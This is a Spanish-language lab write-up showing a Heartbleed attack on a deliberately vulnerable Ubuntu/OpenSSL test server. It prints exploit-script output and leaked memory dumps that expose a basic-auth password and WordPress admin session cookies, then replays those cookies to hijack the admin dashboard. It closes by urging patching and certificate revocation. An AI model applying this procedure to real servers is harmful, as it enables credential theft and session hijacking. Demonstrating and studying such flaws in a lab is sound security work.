El escenario de prueba es el siguiente:
-Servidor Ubuntu 12.04.4 LTS con Apache y OpenSSL 1.0.1 (vulnerable)
-IP: 172.16.62.149
-Un certificado autofirmado
-Autenticación basic-auth
-Wordpress
Comprobar que el servidor es vulnerable:
Lanzamos manualmente el script para corroborar el estado de debilidad del servidor.
juan@moon:~/pruebas$ ./heartbleed.py 172.16.62.149
Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0302, length = 58
... received message: type = 22, ver = 0302, length = 629
... received message: type = 22, ver = 0302, length = 397
... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C .@....SC[...r...
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................
0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ............3.2.
0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ....E.D...../...
0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A...............
0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................
0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
...
3f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
3f90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
3fa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
3fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
3fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
3fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
3fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
WARNING: server returned more data than it should - server is vulnerable!
Excelente, el servidor es efectivamente vulnerable. Lo que vemos como salida es la respuesta del servidor, que casualmente resulta ser el contenido de un buffer interno de OpenSSL en el cuál se pueden encontrar cosas interesantes.
Prueba de concepto con basic-auth:
Como mencioné antes, el servidor cuenta con una autenticación de tipo basic que pide un usuario llamado juan con clave pepe. Para quienes tengan duda, la autenticación esta se realiza luego de haberse establecido la comunicación segura sobre SSL/TLS, y por lo tanto debería ser imposible conseguir las credenciales del usuario.
Nota: la autenticación basic manda en texto claro la cadena usuario:clave codificada en base64 dentro del encabezado HTTP.
Nota: la autenticación basic manda en texto claro la cadena usuario:clave codificada en base64 dentro del encabezado HTTP.
Para simplificar las cosas podemos saber qué cadena debemos buscar en la salida del script, simplemente codificando juan:pepe en base64.
juan@moon:~$ echo -n "juan:pepe" | base64
anVhbjpwZXBl
juan@moon:~$
Listo, la cadena que buscaremos en la salida es anVhbjpwZXBl.
Desde un browser accedemos al sitio por HTTPS y nos autenticamos correctamente:
Inmediatamente después lanzamos nuevamente el script desde la consola y en un par de ejecuciones nos encontramos conesto :
Claro como el agua... encontramos la cadena (me olvidé de marcar an, soy pésimo manejando GIMP, perdón). Si ahora la decodificamos:
juan@moon:~$ echo "anVhbjpwZXBl"|base64 -d
juan:pepejuan@moon:~$
Volvemos a obtener el usuario y password correspondiente!!! Es decir que ahora ya sabemos que es posible obtener las credenciales, solo debemos buscar la cadena Basic que las antecede.
Y qué pasa con otras aplicaciones? Wordpress?
La realidad es que este buffer almacena parte de la información que es devuelta al cliente y allí podremos encontrar muuuchas cosas interesantes (como se demostró en el punto anterior). En este caso particular veremos cómo se comporta este bug con una aplicación como Wordpress. A decir verdad el comportamiento será igual para cualquier tipo de aplicación web, por lo tanto esto es solo un caso particular, pero el método vale para muchos escenarios mas.
Nos autenticamos en Wordpress como admin en este caso, desde mi Chrome en Linux y confiamos plenamente en la seguridad de mi super certificado autofirmado que cifrará toda la comunicación y por lo tanto mis credenciales atravesarán la web cifradas (esto sigue siendo completamente válido!).
Ahora lanzamos el script desde una consola hasta que encontremos en la respuesta algo reconocible. Como:
...
00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 33 37 2E 31 ....#.......37.1
00e0: 37 20 28 4B 48 54 4D 4C 2C 20 6C 69 6B 65 20 47 7 (KHTML, like G
00f0: 65 63 6B 6F 29 20 43 68 72 6F 6D 65 2F 32 34 2E ecko) Chrome/24.
0100: 30 2E 31 33 31 32 2E 35 36 20 53 61 66 61 72 69 0.1312.56 Safari
0110: 2F 35 33 37 2E 31 37 0D 0A 41 63 63 65 70 74 3A /537.17..Accept:
0120: 20 2A 2F 2A 0D 0A 52 65 66 65 72 65 72 3A 20 68 */*..Referer: h
0130: 74 74 70 73 3A 2F 2F 31 37 32 2E 31 36 2E 36 32 ttps://172.16.62
0140: 2E 31 34 39 2F 77 70 2D 61 64 6D 69 6E 2F 0D 0A .149/wp-admin/..
0150: 41 63 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A Accept-Encoding:
0160: 20 67 7A 69 70 2C 64 65 66 6C 61 74 65 2C 73 64 gzip,deflate,sd
0170: 63 68 0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67 75 ch..Accept-Langu
0180: 61 67 65 3A 20 65 73 2C 65 6E 2D 55 53 3B 71 3D age: es,en-US;q=
0190: 30 2E 38 2C 65 6E 3B 71 3D 30 2E 36 2C 65 6E 2D 0.8,en;q=0.6,en-
01a0: 47 42 3B 71 3D 30 2E 34 0D 0A 41 63 63 65 70 74 GB;q=0.4..Accept
01b0: 2D 43 68 61 72 73 65 74 3A 20 49 53 4F 2D 38 38 -Charset: ISO-88
01c0: 35 39 2D 31 2C 75 74 66 2D 38 3B 71 3D 30 2E 37 59-1,utf-8;q=0.7
01d0: 2C 2A 3B 71 3D 30 2E 33 0D 0A 43 6F 6F 6B 69 65 ,*;q=0.3..Cookie
01e0: 3A 20 77 6F 72 64 70 72 65 73 73 5F 73 65 63 5F : wordpress_sec_
01f0: 61 62 61 62 38 62 37 30 63 33 63 33 32 64 35 63 abab8b70c3c32d5c
0200: 38 36 34 65 32 61 66 64 65 65 32 32 31 38 32 37 864e2afdee221827
0210: 3D 61 64 6D 69 6E 25 37 43 31 33 39 37 33 36 33 =admin%7C1397363
0220: 31 39 31 25 37 43 32 61 65 35 30 34 30 62 63 31 191%7C2ae5040bc1
0230: 33 65 63 30 63 66 30 37 66 35 34 63 31 31 66 35 3ec0cf07f54c11f5
0240: 66 39 34 33 36 62 3B 20 77 6F 72 64 70 72 65 73 f9436b; wordpres
0250: 73 5F 74 65 73 74 5F 63 6F 6F 6B 69 65 3D 57 50 s_test_cookie=WP
0260: 2B 43 6F 6F 6B 69 65 2B 63 68 65 63 6B 3B 20 77 +Cookie+check; w
0270: 6F 72 64 70 72 65 73 73 5F 6C 6F 67 67 65 64 5F ordpress_logged_
0280: 69 6E 5F 61 62 61 62 38 62 37 30 63 33 63 33 32 in_abab8b70c3c32
0290: 64 35 63 38 36 34 65 32 61 66 64 65 65 32 32 31 d5c864e2afdee221
02a0: 38 32 37 3D 61 64 6D 69 6E 25 37 43 31 33 39 37 827=admin%7C1397
02b0: 33 36 33 31 39 31 25 37 43 62 62 35 35 35 34 37 363191%7Cbb55547
02c0: 30 35 35 38 63 37 31 66 30 38 32 36 30 62 65 30 0558c71f08260be0
02d0: 34 62 37 64 66 34 63 63 64 3B 20 77 70 2D 73 65 4b7df4ccd; wp-se
02e0: 74 74 69 6E 67 73 2D 74 69 6D 65 2D 31 3D 31 33 ttings-time-1=13
02f0: 39 37 31 39 30 33 39 32 0D 0A 0D 0A 86 9A 98 1D 97190392........
0300: F7 86 18 75 98 5E 72 C7 7B DA B5 FD 6C C8 0D 48 ...u.^r.{...l..H
...
Acabamos de capturar ni mas ni menos que las cookies de una sesión autenticada como admin!!! Y ahora?
El paso siguiente es utilizarlas, y una manera sencilla es mediante el complemento Cookies Manager para Firefox. Abrimos una ventana de Firefox en una VM con Windows (solo para que quede demostrado que es un entorno completamente diferente al entorno donde se inicio la sesión) e intentamos acceder a wp-admin.
Claramente precisamos un usuario y un password, que no tenemos!!! Entonces? Cargamos las cookies una a una, pasadas en limpio las cookies son las 4 siguientes:
wordpress_sec_abab8b70c3c32d5c864e2afdee221827=admin%7C1397363191%7C2ae5040bc13ec0cf07f54c11f5f9436b
wordpress_test_cookie=WP+Cookie+check
wordpress_logged_in_abab8b70c3c32d5c864e2afdee221827=admin%7C1397363191%7Cbb555470558c71f08260be04b7df4ccd
wp-settings-time-1=1397190392
Cargadas con Cookies Manager se ven así:
Y ahora volvemos a intentar acceder a wp-admin y...
como por arte de magia estamos en el dashboard como usuario administrador!!! A partir de aquí se podría hacer prácticamente cualquier cosa en este blog.
Resumen
Es evidente que la vulnerabilidad en cuestión expone brutalmente el contenido que se supone debería estar protegido por la capa de cifrado SSL/TLS. Por lo tanto aplicar el parche correspondiente y revocar los certificados es una idea MAS que recomendable (obligatoria diría).